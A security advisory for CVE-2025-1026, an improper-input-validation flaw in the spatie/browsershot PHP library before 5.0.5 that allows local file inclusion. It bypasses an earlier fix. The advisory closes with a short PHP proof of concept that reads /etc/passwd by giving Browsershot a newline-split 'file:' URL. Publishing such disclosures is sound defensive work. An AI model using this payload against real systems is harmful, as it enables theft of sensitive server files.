Improper Input Validation Affecting spatie/browsershot package, versions <5.0.5
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- published4 Feb 2025
- disclosed16 Dec 2024
- creditChua Jian Shen, Ee Yang Tee
Introduced: 16 Dec 2024
CVE-2025-1026 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
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How to fix?
Upgrade spatie/browsershot to version 5.0.5 or higher.
Overview
spatie/browsershot is a library for converting a webpage to an image or pdf using headless Chrome.
Affected versions of this package are vulnerable to Improper Input Validation due to improper URL validation through the setUrl method, which results in a Local File Inclusion allowing the attacker to read sensitive files.
Note:
This is a bypass of the fix for CVE-2024-21549.
PoC
<?php
require_once 'vendor/autoload.php';
use Spatie\Browsershot\Browsershot;
$a = 'file:
///etc/passwd';
Browsershot::url($a)->newHeadless()->save("./test.pdf");